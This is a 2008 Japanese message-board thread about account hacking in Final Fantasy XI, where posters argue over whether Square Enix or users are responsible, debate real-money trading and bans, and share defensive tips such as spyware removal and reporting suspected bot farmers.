GM呼んだ時に「解約にも繋がる事だから余り引き延ばさないで対策して欲しい」とは伝えておいた。
11月末にやられたんだけど、最初にも書いた人目につかせる為にメンバーズフォーラムの方に当時スレ立てておいたんだが、
あっちの「鍵かけてなかった馬鹿が何かほざいてる」的理論は酷かったｗ
大抵こういう意見の人は現実で起こる別の事例に例えて表現してくるんだけど、
なんかズレてるんだよね。>>342みたいなさ。
■も何らかの行動には出ようとしているみたいだしね。
GM呼んだ時に「解約にも繋がる事だから余り引き延ばさないで対策して欲しい」とは伝えておいた。
11月末にやられたんだけど、最初にも書いた人目につかせる為にメンバーズフォーラムの方に当時スレ立てておいたんだが、
あっちの「鍵かけてなかった馬鹿が何かほざいてる」的理論は酷かったｗ
大抵こういう意見の人は現実で起こる別の事例に例えて表現してくるんだけど、
なんかズレてるんだよね。>>342みたいなさ。
393 ：既にその名前は使われています：2008/02/03(日) 02:01:33.73 ID:w6OC0F3F
394 ：既にその名前は使われています：2008/02/03(日) 02:30:38.17 ID:rKCsp5KQ
395 ：既にその名前は使われています：2008/02/03(日) 03:28:33.49 ID:HHhihKa2
>>392
人目に付けることは重要だね。スクエニも対策は考えていると思う。
ただ問題にしているのは責任をスクエニ側に課している点ですね、今スクエニは心ないプレイヤーのクレームの被害者です。
GMを呼んで「解約…」は脅し以外なんと言えるのか？
そんな貴方がここにいると言う事実は解約はされていないようなのですが…
まぁスクエニも早く対応策出してくれれば神になれるけど、
何もしないからと言って責めてはいけないです。
人目に付けることは重要だね。スクエニも対策は考えていると思う。
ただ問題にしているのは責任をスクエニ側に課している点ですね、今スクエニは心ないプレイヤーのクレームの被害者です。
GMを呼んで「解約…」は脅し以外なんと言えるのか？
そんな貴方がここにいると言う事実は解約はされていないようなのですが…
まぁスクエニも早く対応策出してくれれば神になれるけど、
何もしないからと言って責めてはいけないです。
396 ：既にその名前は使われています：2008/02/03(日) 08:19:12.02 ID:GcPJ5pDm
>>395
いや、何もしなかったら責められるだろｗ
説明書には必要となるＰＣのスペックは書いてあるが、セキュリティのレベルは書いてない。
セキュリティについて書いてあるのは、全員が読むとは限らない公式ＨＰなどのごく一部のみ。
説明責任を十分に果たしているとは言いがたいでしょ。
ここまで被害が広まったのは■の怠慢でもあるんだからね。
いや、何もしなかったら責められるだろｗ
説明書には必要となるＰＣのスペックは書いてあるが、セキュリティのレベルは書いてない。
セキュリティについて書いてあるのは、全員が読むとは限らない公式ＨＰなどのごく一部のみ。
説明責任を十分に果たしているとは言いがたいでしょ。
ここまで被害が広まったのは■の怠慢でもあるんだからね。
397 ：既にその名前は使われています：2008/02/03(日) 08:24:35.01 ID:oXNsO6sO
PCにおけるセキュリティはゲーム云々以前の問題だからなぁ
まぁ、ユーザ側もその辺はしっかりしとかんと
まぁ、ユーザ側もその辺はしっかりしとかんと
398 ：既にその名前は使われています：2008/02/03(日) 08:26:14.00 ID:RODQc07b
399 ：既にその名前は使われています：2008/02/03(日) 08:32:55.42 ID:w6OC0F3F
400 ：既にその名前は使われています：2008/02/03(日) 08:38:20.99 ID:GcPJ5pDm
>397
もちろんそうだが、それを知らない人もオンゲをしてるのは間違いない。
他のそれなりの規模のＭＭＯは、そういう人のために大概次のどちらかで対策をしているのは常識。
①ゲーム内でプレイヤーが必ず【必ず目を通す】ようなシステムメッセなどで、【定期的】に注意喚起する。
②ゲームにインするのにより強固な本人認証システムを設ける。ＩＰ認証、セキュリティカード導入、第三のパスワードなど。
ここまで被害がひろまってるのに有効な対策をなにひとつしてない■は、責められてしかるべきでしょ。
もちろんそうだが、それを知らない人もオンゲをしてるのは間違いない。
他のそれなりの規模のＭＭＯは、そういう人のために大概次のどちらかで対策をしているのは常識。
①ゲーム内でプレイヤーが必ず【必ず目を通す】ようなシステムメッセなどで、【定期的】に注意喚起する。
②ゲームにインするのにより強固な本人認証システムを設ける。ＩＰ認証、セキュリティカード導入、第三のパスワードなど。
ここまで被害がひろまってるのに有効な対策をなにひとつしてない■は、責められてしかるべきでしょ。
401 ：既にその名前は使われています：2008/02/03(日) 08:45:40.86 ID:oXNsO6sO
>>400
１がいいかもな
２は結局のところクラッカに手間掛けさせるだけで防げる訳じゃないし
POL起動時にメッセージ表示して注意喚起かね一番手間掛からないのは
にしても、Win95辺りがでて裾の広げて早１０年経ってるってのに相変わらずテレビ感覚なユーザが多いのはなんでかねぇ
１がいいかもな
２は結局のところクラッカに手間掛けさせるだけで防げる訳じゃないし
POL起動時にメッセージ表示して注意喚起かね一番手間掛からないのは
にしても、Win95辺りがでて裾の広げて早１０年経ってるってのに相変わらずテレビ感覚なユーザが多いのはなんでかねぇ
402 ：既にその名前は使われています：2008/02/03(日) 09:40:13.39 ID:xJvhf+ot
>>401
両方やって欲しいよ。手間かけさせる事も重要なんだから。
STTの活動のおかげで業者を狩り場で見かけにくくなって
稼ぎのしょっぱいスタイルになったんだろう？
２を拒否したいなら、それでもハッキング喰らったら
保証は何もないという状況は変わらない事を強調すべき。
ッて言うか犯罪者側(スクエニが届け出出さないから犯罪者ではないか)が
中国からのアクセスという事もあって全くのノーリスクというのが一番の問題だよな。
強いて言えば垢盗めなければ”徒労”に終わる、程度か？
両方やって欲しいよ。手間かけさせる事も重要なんだから。
STTの活動のおかげで業者を狩り場で見かけにくくなって
稼ぎのしょっぱいスタイルになったんだろう？
２を拒否したいなら、それでもハッキング喰らったら
保証は何もないという状況は変わらない事を強調すべき。
ッて言うか犯罪者側(スクエニが届け出出さないから犯罪者ではないか)が
中国からのアクセスという事もあって全くのノーリスクというのが一番の問題だよな。
強いて言えば垢盗めなければ”徒労”に終わる、程度か？
403 ：既にその名前は使われています：2008/02/03(日) 10:02:24.88 ID:w6OC0F3F
404 ：既にその名前は使われています：2008/02/03(日) 10:25:46.43 ID:SAG98E5/
各方面がもっと努力すべき。
メーカーも、ユーザーも。「どっちもちゃんとやるべき」それだけ。
自分のことを棚に上げて、他者を叩く行為は見苦しい。
「ユーザーも努力するべきだけど、メーカーも努力しろ」ならいいけど
「ユーザーは何もしない、何も分からないでよい。メーカーが全部やれ」だとＤＱＮ
メーカーも、ユーザーも。「どっちもちゃんとやるべき」それだけ。
自分のことを棚に上げて、他者を叩く行為は見苦しい。
「ユーザーも努力するべきだけど、メーカーも努力しろ」ならいいけど
「ユーザーは何もしない、何も分からないでよい。メーカーが全部やれ」だとＤＱＮ
405 ：既にその名前は使われています：2008/02/03(日) 10:45:49.00 ID:HHhihKa2
さて盛り上がったところでスクエニ対策始動で好感度UP↑
流石ですね！
ユーザー側の努力は当然で実質義務っぽい部分もあるよね。
問題はそれでも万が一って状態だけども・・・
流石ですね！
ユーザー側の努力は当然で実質義務っぽい部分もあるよね。
問題はそれでも万が一って状態だけども・・・
406 ：既にその名前は使われています：2008/02/03(日) 10:46:48.70 ID:SAG98E5/
>>405
日本語でおｋ
日本語でおｋ
407 ：既にその名前は使われています：2008/02/03(日) 13:05:25.06 ID:dpsoNJ2c
408 ：既にその名前は使われています：2008/02/03(日) 13:16:40.16 ID:rKCsp5KQ
>>407
識別符号を盗まれ(るような管理をしてい)たのはユーザでしょ。
識別符号を盗まれ(るような管理をしてい)たのはユーザでしょ。
409 ：既にその名前は使われています：2008/02/03(日) 13:20:54.34 ID:QDBz8LVr
ココの板住人だけだとどうも意見が偏る
スクエニ擁護派は異常（内部の人間？）
マスコミに記事依頼を出す（垢売りしたり他人を同じ目に合わすより健全）
としても被害総数は知りたいね
板管理人は被害者カウントしてくれると助かる
スクエニ擁護派は異常（内部の人間？）
マスコミに記事依頼を出す（垢売りしたり他人を同じ目に合わすより健全）
としても被害総数は知りたいね
板管理人は被害者カウントしてくれると助かる
410 ：既にその名前は使われています：2008/02/03(日) 13:33:20.96 ID:H75AHaks
パス盗まれるのはスクエニが悪いっていうなら鯖にもしハッキングされた場合、
鯖のファイアウォールやらなんやらを作った会社が悪いってスクエニがもし言ったら
ユーザーとしては無責任だなって思うだろ？
スクエニがどうのこうの言ってるやつはまさにこれだろ
鯖のファイアウォールやらなんやらを作った会社が悪いってスクエニがもし言ったら
ユーザーとしては無責任だなって思うだろ？
スクエニがどうのこうの言ってるやつはまさにこれだろ
411 ：既にその名前は使われています：2008/02/03(日) 13:58:38.79 ID:GcPJ5pDm
>鯖のファイアウォールやらなんやらを作った会社が悪いってスクエニがもし言ったら
普通に言うだろｗ
もちろんスクエニの管理責任も問われるとは思うがね。
そうならないように対策しなくちゃいけないのが炎壁の会社であり、スクエニだろｗ
スクエニは犯罪が起こってるのに完全放置ｗｗｗ
十分な注意喚起をしてるわけでもないのに悪いのはユーザーだけだ！で完結してる。
普通に言うだろｗ
もちろんスクエニの管理責任も問われるとは思うがね。
そうならないように対策しなくちゃいけないのが炎壁の会社であり、スクエニだろｗ
スクエニは犯罪が起こってるのに完全放置ｗｗｗ
十分な注意喚起をしてるわけでもないのに悪いのはユーザーだけだ！で完結してる。
412 ：既にその名前は使われています：2008/02/03(日) 14:00:30.88 ID:rKCsp5KQ
悪いのはスクエニだけだ！で完結してる奴もいるけどな
413 ：既にその名前は使われています：2008/02/03(日) 14:00:43.37 ID:Ge9HsWJk
ふつうに考えて盗むやつが悪いと思うんだ
414 ：既にその名前は使われています：2008/02/03(日) 14:01:55.31 ID:rKCsp5KQ
そのとおり。
415 ：既にその名前は使われています：2008/02/03(日) 14:24:13.15 ID:sICBte++
結局原因はRMTで買う側がいるからなんだよね
■も業者だけじゃなくて、
購買側も一斉に垢バンしてくれれば
業者もここまで悪質になってなかったはずなんだけどね
■も業者だけじゃなくて、
購買側も一斉に垢バンしてくれれば
業者もここまで悪質になってなかったはずなんだけどね
416 ：既にその名前は使われています：2008/02/03(日) 14:44:12.23 ID:j02C+0R9
そして、業者は高跳びしっぱなしで、■は保証は一切しない…と。
この流れ株板に書いてきていいよな。
損害出しても一切保証出さない会社だって。
この流れ株板に書いてきていいよな。
損害出しても一切保証出さない会社だって。
417 ：既にその名前は使われています：2008/02/03(日) 14:50:34.44 ID:HHhihKa2
>>415
試しに3ヶ月間業者は放置、買い手即BANにすれば効果覿面なハズなんだけど・・・
何故か買い手に手を出さないんだよね。
アカウントハックでスクエニに落ち度は全く無いんだけど、元凶は今の管理体制ですね。
法律に触れなければOKというのがスクエニ側の考えなんでしょうかね。
試しに3ヶ月間業者は放置、買い手即BANにすれば効果覿面なハズなんだけど・・・
何故か買い手に手を出さないんだよね。
アカウントハックでスクエニに落ち度は全く無いんだけど、元凶は今の管理体制ですね。
法律に触れなければOKというのがスクエニ側の考えなんでしょうかね。
418 ：既にその名前は使われています：2008/02/03(日) 14:56:49.71 ID:8l6tf1O5
現状である程度効果があるだろう対策。
FF11公式ページや、LSコミュをIE7以上必須にする。Gecko系やKHTML系、Operaも一応は許容。
IE6ユーザーが強制的に切り捨てられて、ある意味でユーザーへの注意喚起になる。
FF11公式ページや、LSコミュをIE7以上必須にする。Gecko系やKHTML系、Operaも一応は許容。
IE6ユーザーが強制的に切り捨てられて、ある意味でユーザーへの注意喚起になる。
419 ：既にその名前は使われています：2008/02/03(日) 14:58:06.82 ID:SAG98E5/
いまだに買い手BAN無い伝説信じてるの？ｗ
普通に買い手激減して、商売にならないからFFから撤退してる業者もいるってのに
普通に買い手激減して、商売にならないからFFから撤退してる業者もいるってのに
420 ：既にその名前は使われています：2008/02/03(日) 14:59:52.55 ID:o0uspMH+
>>417
そりゃおまえ買い手BAN＞訴訟＞敗訴という最悪パターンを恐れてるからだよ。
特にスンヂはUOにいたころ、OSIが敗訴するのを
目の当たりにしているからトラウマだろ。
日本には規制する法律が無いから、
訴訟になったら水掛け論を延々繰り返すことになるよ。
そりゃおまえ買い手BAN＞訴訟＞敗訴という最悪パターンを恐れてるからだよ。
特にスンヂはUOにいたころ、OSIが敗訴するのを
目の当たりにしているからトラウマだろ。
日本には規制する法律が無いから、
訴訟になったら水掛け論を延々繰り返すことになるよ。
421 ：既にその名前は使われています：2008/02/03(日) 15:02:58.03 ID:HHhihKa2
>>419
では何のために誰が垢ハック？
では何のために誰が垢ハック？
422 ：既にその名前は使われています：2008/02/03(日) 15:06:19.26 ID:t9xOfXso
不正ログインされてた者です
ウイルス混入を放置したのは私ですしそのへんは良いんですが
他人が個人情報が見れる状態を何日も放置しているような会社
もううんざりしました
これからはゲームの楽しみ方を変えて
アイテム売買でリアルマネイを儲ける楽しみ方に切り替えます
みなさんもそっちに切り替えましょう
不正アクセスですら訴えない会社
アイテム高額で買ってもらえる人いるんですから
ウイルス混入を放置したのは私ですしそのへんは良いんですが
他人が個人情報が見れる状態を何日も放置しているような会社
もううんざりしました
これからはゲームの楽しみ方を変えて
アイテム売買でリアルマネイを儲ける楽しみ方に切り替えます
みなさんもそっちに切り替えましょう
不正アクセスですら訴えない会社
アイテム高額で買ってもらえる人いるんですから
423 ：既にその名前は使われています：2008/02/03(日) 15:21:10.10 ID:SAG98E5/
424 ：既にその名前は使われています：2008/02/03(日) 15:34:39.58 ID:HHhihKa2
425 ：既にその名前は使われています：2008/02/03(日) 15:43:33.49 ID:SAG98E5/
>>417
> 何故か買い手に手を出さないんだよね。
って言ってるのが、そういう極論に聞こえたんだよ・・・
というか、そうとしか聞こえないだろ、この書き方じゃ
おまいさん、>>450もそうだけど全体的に日本語があやしいから
内容と関係ない部分でひっかかるんだよ
>>424もムダに絡み口調だし
もう少し表現考えてくれ
> 何故か買い手に手を出さないんだよね。
って言ってるのが、そういう極論に聞こえたんだよ・・・
というか、そうとしか聞こえないだろ、この書き方じゃ
おまいさん、>>450もそうだけど全体的に日本語があやしいから
内容と関係ない部分でひっかかるんだよ
>>424もムダに絡み口調だし
もう少し表現考えてくれ
426 ：既にその名前は使われています：2008/02/03(日) 15:45:16.15 ID:SAG98E5/
427 ：既にその名前は使われています：2008/02/03(日) 15:56:44.78 ID:HHhihKa2
428 ：既にその名前は使われています：2008/02/03(日) 16:06:14.12 ID:o0uspMH+
>>427
社長田中ライン+法務に決まってんだろ。
スンヂと表現したのは話を見えやすくするため。
日本は判例主義なのだが国内にある判例だけでなく、海外のものも調べる。
世界初にして最悪の判例がOSIだったので例としてあげた。
キャラデータはユーザーのもの、BANは不当、規約を変更せよ。
と派手に負けた。
現在UOでは非推奨行為ながらRMTを認め、
場合によってはGMを仲介役にすることもできるという
大変屈辱的な規約になっている。
社長田中ライン+法務に決まってんだろ。
スンヂと表現したのは話を見えやすくするため。
日本は判例主義なのだが国内にある判例だけでなく、海外のものも調べる。
世界初にして最悪の判例がOSIだったので例としてあげた。
キャラデータはユーザーのもの、BANは不当、規約を変更せよ。
と派手に負けた。
現在UOでは非推奨行為ながらRMTを認め、
場合によってはGMを仲介役にすることもできるという
大変屈辱的な規約になっている。
429 ：既にその名前は使われています：2008/02/03(日) 16:11:59.40 ID:lODB+D3Q
被害者（苦笑）の言い分もまぁ分かるけどさぁ乙としか言えねぇ
高い授業料だったなっつうことで1から頑張れや
RMT購入者BANは今のところツール利用者に限ってるだろ
外部で購入された場合は立証できないってどこまで硬えんだよ
高い授業料だったなっつうことで1から頑張れや
RMT購入者BANは今のところツール利用者に限ってるだろ
外部で購入された場合は立証できないってどこまで硬えんだよ
430 ：既にその名前は使われています：2008/02/03(日) 16:40:34.61 ID:SBl0X85N
つか、垢ハックでアイテム・ギル送金してんだから発覚後送り先を調査・事情聴取すりゃいいのにな
431 ：既にその名前は使われています：2008/02/03(日) 16:42:39.31 ID:SBl0X85N
あと、
■＜アイテム相応のギル払え
っていうのなら、送金先から徴収すれば済むんじゃね？
とおもうんだが。
■＜アイテム相応のギル払え
っていうのなら、送金先から徴収すれば済むんじゃね？
とおもうんだが。
432 ：既にその名前は使われています：2008/02/03(日) 17:18:56.36 ID:o0uspMH+
>>431
送金先の人間がもう使い終わってたらどうすんの？
さらにその先まで追うわけ？
長年GM募集してても誰も来ないから
わざわざ公式トップでまで募集してるような状況で
だれがログ追跡やんの？STTやGM足りないのに開発から人回せとでも？
送金先の人間がもう使い終わってたらどうすんの？
さらにその先まで追うわけ？
長年GM募集してても誰も来ないから
わざわざ公式トップでまで募集してるような状況で
だれがログ追跡やんの？STTやGM足りないのに開発から人回せとでも？
433 ：既にその名前は使われています：2008/02/03(日) 17:22:05.74 ID:SBl0X85N
434 ：既にその名前は使われています：2008/02/03(日) 18:07:57.98 ID:8YUk4kDc
感染したと分かったらアダ被のサイトのテンプレでもみて駆除してみるのも手だ
自信が無い場合はそのまま質問掲示板へいけば相談に乗ってくれるらしーぞ
スパイウェア除去ウィザード － 自力で問題の解決を行う手順 (1/12) － 2007.2.9改訂
ttp://www.higaitaisaku.com/removewz01.html
自信が無い場合はそのまま質問掲示板へいけば相談に乗ってくれるらしーぞ
スパイウェア除去ウィザード － 自力で問題の解決を行う手順 (1/12) － 2007.2.9改訂
ttp://www.higaitaisaku.com/removewz01.html
435 ：既にその名前は使われています：2008/02/03(日) 18:31:05.86 ID:o0uspMH+
436 ：既にその名前は使われています：2008/02/03(日) 18:59:57.67 ID:J/+jB4pj
>432
GM、STT増員して強化するのかな？って思った自分はおめでたいのかな？
GM、STT増員して強化するのかな？って思った自分はおめでたいのかな？
437 ：既にその名前は使われています：2008/02/03(日) 19:07:56.26 ID:o0uspMH+
>>436
いくら募集しても来ないわけで・・・
いくら募集しても来ないわけで・・・
438 ：既にその名前は使われています：2008/02/03(日) 19:08:38.73 ID:HHhihKa2
>>432
>>436
私も管理強化だと思ってる。
パフォーマンスって考えもあるけど、そこまで愚かじゃないし。
でもアルバイトが出来ることは限られてるから・・・
ユーザー増加による通常のGM活動の強化かな？
>>436
私も管理強化だと思ってる。
パフォーマンスって考えもあるけど、そこまで愚かじゃないし。
でもアルバイトが出来ることは限られてるから・・・
ユーザー増加による通常のGM活動の強化かな？
439 ：既にその名前は使われています：2008/02/03(日) 19:20:04.57 ID:tT39OLX3
440 ：既にその名前は使われています：2008/02/03(日) 20:19:27.30 ID:tT39OLX3
441 ：既にその名前は使われています：2008/02/03(日) 20:58:27.97 ID:+Aell0Ou
>417
＞試しに3ヶ月間業者は放置、
業者乙ｗ
＞試しに3ヶ月間業者は放置、
業者乙ｗ
442 ：既にその名前は使われています：2008/02/03(日) 21:23:24.09 ID:j02C+0R9
GM＝コールセンター＝クレーム対応。な図式が見える以上、
誰もGMなんて精神病む所行かないだろー
で、運営募集もかけるって事は、事業自体を子会社として切り離して、厄介な株主への対応するのバレバレ。
そんな倒産確定な社員募集に応募する奴なんて、
｢FF13はPS3固定よ！｣ってお花畑アニメーターぐらいだろー
誰もGMなんて精神病む所行かないだろー
で、運営募集もかけるって事は、事業自体を子会社として切り離して、厄介な株主への対応するのバレバレ。
そんな倒産確定な社員募集に応募する奴なんて、
｢FF13はPS3固定よ！｣ってお花畑アニメーターぐらいだろー
443 ：既にその名前は使われています：2008/02/03(日) 21:59:14.60 ID:lODB+D3Q
>>441
いつまでも粘着してんな自重汁
いつまでも粘着してんな自重汁
444 ：既にその名前は使われています：2008/02/03(日) 22:51:53.93 ID:3Lwe3QAO
>>443
業者乙ｗ
業者乙ｗ
445 ：既にその名前は使われています：2008/02/04(月) 01:41:13.53 ID:3p8r8zh+
age
446 ：既にその名前は使われています：2008/02/04(月) 02:07:24.73 ID:HTAjUmb/
時々、日本語として違和感を感じる文章がありますが、
業者の書き込みですので、シカトしてくださいｗ
業者の書き込みですので、シカトしてくださいｗ
447 ：既にその名前は使われています：2008/02/04(月) 07:17:36.91 ID:HVuZ2fSJ
業者アルバイト募集してるな
GM募集はそれの対策かｗ
来るね公式RMT
GM募集はそれの対策かｗ
来るね公式RMT
448 ：既にその名前は使われています：2008/02/04(月) 11:09:08.51 ID:E90uYmT+
見てる人も居るんだろうけど宣伝
RMT業者を通報しまくれ ver.8
http://live27.2ch.net/test/read.cgi/ogame/1200408466/
垢ハックは引っかかるアホがそれほど多くは無いだろうしあくまで副業的なものだろう。
本業であるハンターを見つけては通報して撤退せざるを得ない状況まで追い込もう。
RMT業者を通報しまくれ ver.8
http://live27.2ch.net/test/read.cgi/ogame/1200408466/
垢ハックは引っかかるアホがそれほど多くは無いだろうしあくまで副業的なものだろう。
本業であるハンターを見つけては通報して撤退せざるを得ない状況まで追い込もう。
449 ：既にその名前は使われています：2008/02/04(月) 11:12:16.46 ID:xpT+o4CQ
スクエニもカプコンを見習ってクライアントを弄くれるようにしとけばよかったんだよ。
そうすればチート蔓延でRMT業者を一掃出来るのに
そうすればチート蔓延でRMT業者を一掃出来るのに
450 ：既にその名前は使われています：2008/02/04(月) 11:20:50.73 ID:xpT+o4CQ
>>419
俺はもう3年くらい前から金策は一切せずに金に困ったらRTMを繰り返してるけど今の所BANされてないな。
垢ハックして得たギルを売るのは許しがたい行為だが全うな手段で稼いだギルを売るのは特に悪いとは思わない。
規約違反ではあるが俺はギルを買ってるというより金策に費やす時間を金で買ってるという感覚
俺はもう3年くらい前から金策は一切せずに金に困ったらRTMを繰り返してるけど今の所BANされてないな。
垢ハックして得たギルを売るのは許しがたい行為だが全うな手段で稼いだギルを売るのは特に悪いとは思わない。
規約違反ではあるが俺はギルを買ってるというより金策に費やす時間を金で買ってるという感覚
451 ：既にその名前は使われています：2008/02/04(月) 11:25:11.11 ID:5Wo3Ia6Q
某国も、最近は物価上昇が激しくなってきてるから
諸外国との賃金格差が安さの売りで商売してる連中も
稼ぎがキツクなっているだろうね
ツール作ったり、垢ハック出来るような連中は
その技術を売りに一般IT企業に就職した方が
安泰かもしれないね
ツール使うだけだったり、人海戦術するしかない連中は
このまま業者として残るしかないかもね
諸外国との賃金格差が安さの売りで商売してる連中も
稼ぎがキツクなっているだろうね
ツール作ったり、垢ハック出来るような連中は
その技術を売りに一般IT企業に就職した方が
安泰かもしれないね
ツール使うだけだったり、人海戦術するしかない連中は
このまま業者として残るしかないかもね
452 ：既にその名前は使われています：2008/02/04(月) 11:26:36.70 ID:3vllGQNy
>>450
業者乙と言わざるを得ない
業者乙と言わざるを得ない
453 ：既にその名前は使われています：2008/02/04(月) 11:27:43.25 ID:mD9+weCS
454 ：既にその名前は使われています：2008/02/04(月) 11:31:59.13 ID:HVuZ2fSJ
455 ：既にその名前は使われています：2008/02/04(月) 11:41:49.47 ID:/KCKsoHP
>>垢ハックして得たギルを売るのは許しがたい行為
そういう行為を業者にさせているのが、お前ら買い手なんだけどな
迷惑ですから、RMTが許されているMMOに引っ越せよ
そういう行為を業者にさせているのが、お前ら買い手なんだけどな
迷惑ですから、RMTが許されているMMOに引っ越せよ
456 ：既にその名前は使われています：2008/02/04(月) 11:43:31.81 ID:E90uYmT+
457 ：既にその名前は使われています：2008/02/04(月) 11:54:48.93 ID:HN1vyILd
458 ：既にその名前は使われています：2008/02/04(月) 12:05:51.35 ID:mD9+weCS
ハンターの定義って同じ敵ばかり狩ってる（レベル上げではないと思う）でいいのかな？
判断は任せて次回から通報してみます
判断は任せて次回から通報してみます
459 ：既にその名前は使われています：2008/02/04(月) 12:08:44.49 ID:/KCKsoHP
俺グスタで蜂狩りしてるけど、
やべぇｗｗ通報されるｗｗｗ
やべぇｗｗ通報されるｗｗｗ
460 ：既にその名前は使われています：2008/02/04(月) 12:11:45.31 ID:mD9+weCS
>>459
似てる、それはハンターとは違う？
似てる、それはハンターとは違う？
461 ：既にその名前は使われています：2008/02/04(月) 12:15:11.20 ID:JKytXkJV
グスタでアノン蜂狩りなら、とりあえず通報だな。
サチコメ、レベル、目撃頻度等も影響するが。
サチコメ、レベル、目撃頻度等も影響するが。
462 ：既にその名前は使われています：2008/02/04(月) 12:33:33.05 ID:/G5b1Tmh
些細なことでいい
とにかく通報しまくってSTTの無駄に仕事を増やしまくるんだ
とにかく通報しまくってSTTの無駄に仕事を増やしまくるんだ
463 ：既にその名前は使われています：2008/02/04(月) 12:41:30.60 ID:/KCKsoHP
グスタでの蜂狩りなんて、時間が無い時の小遣い稼ぎなんで、
面倒だからいちいちサチコなんかかかねぇが、俺はハンターじゃねえ
まあ、怪しいと思うなら通報したらいいさ。
白か黒かはSSTが判断するだろーし。
冤罪でBANされたら直接抗議もするし、ここで大騒ぎしてやるよｗｗ
面倒だからいちいちサチコなんかかかねぇが、俺はハンターじゃねえ
まあ、怪しいと思うなら通報したらいいさ。
白か黒かはSSTが判断するだろーし。
冤罪でBANされたら直接抗議もするし、ここで大騒ぎしてやるよｗｗ
464 ：既にその名前は使われています：2008/02/04(月) 14:17:25.79 ID:AHhYjl2c
本日も保守ご苦労様です
465 ：既にその名前は使われています：2008/02/04(月) 14:22:03.02 ID:xpT+o4CQ
ダメ！絶対！ 垢ハック
頑張れ 業者 RMT
頑張れ 業者 RMT
466 ：既にその名前は使われています：2008/02/04(月) 14:27:03.19 ID:xpT+o4CQ
垢ハックはみんなの敵
RMTはサラリーマンの味方ｗ
業者おつとでもなんとでもいってくれ。
俺たち時間は無いが金は有ると言うサラリーマンにはRMTは最高の味方だぜ
何時間もかけてお金稼ぎするくらいなら現金でぽんっと買ってしまったほうが楽だし楽しさ倍増
RMTはサラリーマンの味方ｗ
業者おつとでもなんとでもいってくれ。
俺たち時間は無いが金は有ると言うサラリーマンにはRMTは最高の味方だぜ
何時間もかけてお金稼ぎするくらいなら現金でぽんっと買ってしまったほうが楽だし楽しさ倍増
467 ：既にその名前は使われています：2008/02/04(月) 14:31:50.49 ID:KixEEbIT
468 ：既にその名前は使われています：2008/02/04(月) 14:34:39.60 ID:XHtxBfhD
グスタの蜂狩りの効率を実体験したらハンターなんて思うわけねーっｗｗｗｗｗ
そのまま売ったら本当にヴァナの小遣いレベルだし
蜂カケから更に割れる恐怖にうち勝って蜜蝋やカボチャまでもっていって
やっと旨いかな？レベルじゃん
初心者のヴァナ貧乏ハンパねーよ
中華でもしねーよあんなマゾ金策
っとハイパーインフレ時代に泣きながら
蜂狩ってイレース買った俺が言ってみる orz
そのまま売ったら本当にヴァナの小遣いレベルだし
蜂カケから更に割れる恐怖にうち勝って蜜蝋やカボチャまでもっていって
やっと旨いかな？レベルじゃん
初心者のヴァナ貧乏ハンパねーよ
中華でもしねーよあんなマゾ金策
っとハイパーインフレ時代に泣きながら
蜂狩ってイレース買った俺が言ってみる orz
469 ：既にその名前は使われています：2008/02/04(月) 14:51:54.75 ID:QUgXqxTX
>>466
リーマン代表気取りやめれ、迷惑だ
リーマン代表気取りやめれ、迷惑だ
470 ：既にその名前は使われています：2008/02/04(月) 14:54:24.68 ID:5Wo3Ia6Q
466は業者でしょ
471 ：既にその名前は使われています：2008/02/04(月) 16:48:58.50 ID:is6VZZy9
あげ
472 ：既にその名前は使われています：2008/02/04(月) 17:03:00.94 ID:xpT+o4CQ
>>470
業者じゃねぇよｗ
RMTすすめると業者扱いされるのはおかしい。
現に、買う人間がたくさんいるから業者が成り立ってるわけでRMTしてる奴は腐るほどいる。
ただ、公式でもアナウンスしているように買った側も垢停止になる恐れがあるからそれを覚悟した上でやることだな。
何年も地道に育てた愛着のあるキャラならやらないほうがいい。今の所俺はBANされてないが100パーセントBANされないほしょうなんてどこにもない。
しかし1度手を染めてしまうとまともに金稼ぎは出来なくなるから俺はもうやめられない。
俺を止められるのはスクエニだけだｗ
業者じゃねぇよｗ
RMTすすめると業者扱いされるのはおかしい。
現に、買う人間がたくさんいるから業者が成り立ってるわけでRMTしてる奴は腐るほどいる。
ただ、公式でもアナウンスしているように買った側も垢停止になる恐れがあるからそれを覚悟した上でやることだな。
何年も地道に育てた愛着のあるキャラならやらないほうがいい。今の所俺はBANされてないが100パーセントBANされないほしょうなんてどこにもない。
しかし1度手を染めてしまうとまともに金稼ぎは出来なくなるから俺はもうやめられない。
俺を止められるのはスクエニだけだｗ
473 ：既にその名前は使われています：2008/02/04(月) 17:04:11.50 ID:HVuZ2fSJ
>>463>>468
それはRMT予備軍の行動でズバリ「ハンター」そのもの、予備軍はハンターに飽きるとRMTに走る。
効率云々等は関係なく「ハンター」として当てはまるのだから、通報するのが良識プレイヤーの義務だｧﾚ
報告された情報はSTTが責任を持って調べる。
https://secure.playonline.com/polapps/s/com.pol.mf.Dp?fn=form_01&mf=c08_stt_rmt&polg_loc=ja
それはRMT予備軍の行動でズバリ「ハンター」そのもの、予備軍はハンターに飽きるとRMTに走る。
効率云々等は関係なく「ハンター」として当てはまるのだから、通報するのが良識プレイヤーの義務だｧﾚ
報告された情報はSTTが責任を持って調べる。
https://secure.playonline.com/polapps/s/com.pol.mf.Dp?fn=form_01&mf=c08_stt_rmt&polg_loc=ja
474 ：既にその名前は使われています：2008/02/04(月) 17:09:51.57 ID:5g/q+/+5
475 ：既にその名前は使われています：2008/02/04(月) 17:10:09.05 ID:JKytXkJV
RMT奨めて、利益を得られるのは業者だけだからな。
RMTの買い手は、競合相手がいない方が安く買える。
RMTの買い手と業者を除く人間には、
RMTなんぞ存在自体が害悪。
時流を読めず、未だにRMTを礼讚するような阿保は業者扱いで問題なし。
RMTの買い手は、競合相手がいない方が安く買える。
RMTの買い手と業者を除く人間には、
RMTなんぞ存在自体が害悪。
時流を読めず、未だにRMTを礼讚するような阿保は業者扱いで問題なし。
476 ：既にその名前は使われています：2008/02/04(月) 17:22:51.71 ID:0/Ilj6DE
今日は業者乙厨大発生だな
477 ：既にその名前は使われています：2008/02/04(月) 17:24:39.62 ID:KixEEbIT
話題がずれているな。RMTの是非ではなく、
アカハックの予防法やその対応を語れよ。
アカハックの予防法やその対応を語れよ。
478 ：既にその名前は使われています：2008/02/04(月) 17:29:12.33 ID:5g/q+/+5
じゃあ、話戻す。
究極的には、FFやるPCとネット見るPC分けるしかない気がするな。
ただ、LSコミュニティーも怪しい気がして近づきたくない。
究極的には、FFやるPCとネット見るPC分けるしかない気がするな。
ただ、LSコミュニティーも怪しい気がして近づきたくない。
479 ：既にその名前は使われています：2008/02/04(月) 17:40:11.57 ID:KixEEbIT
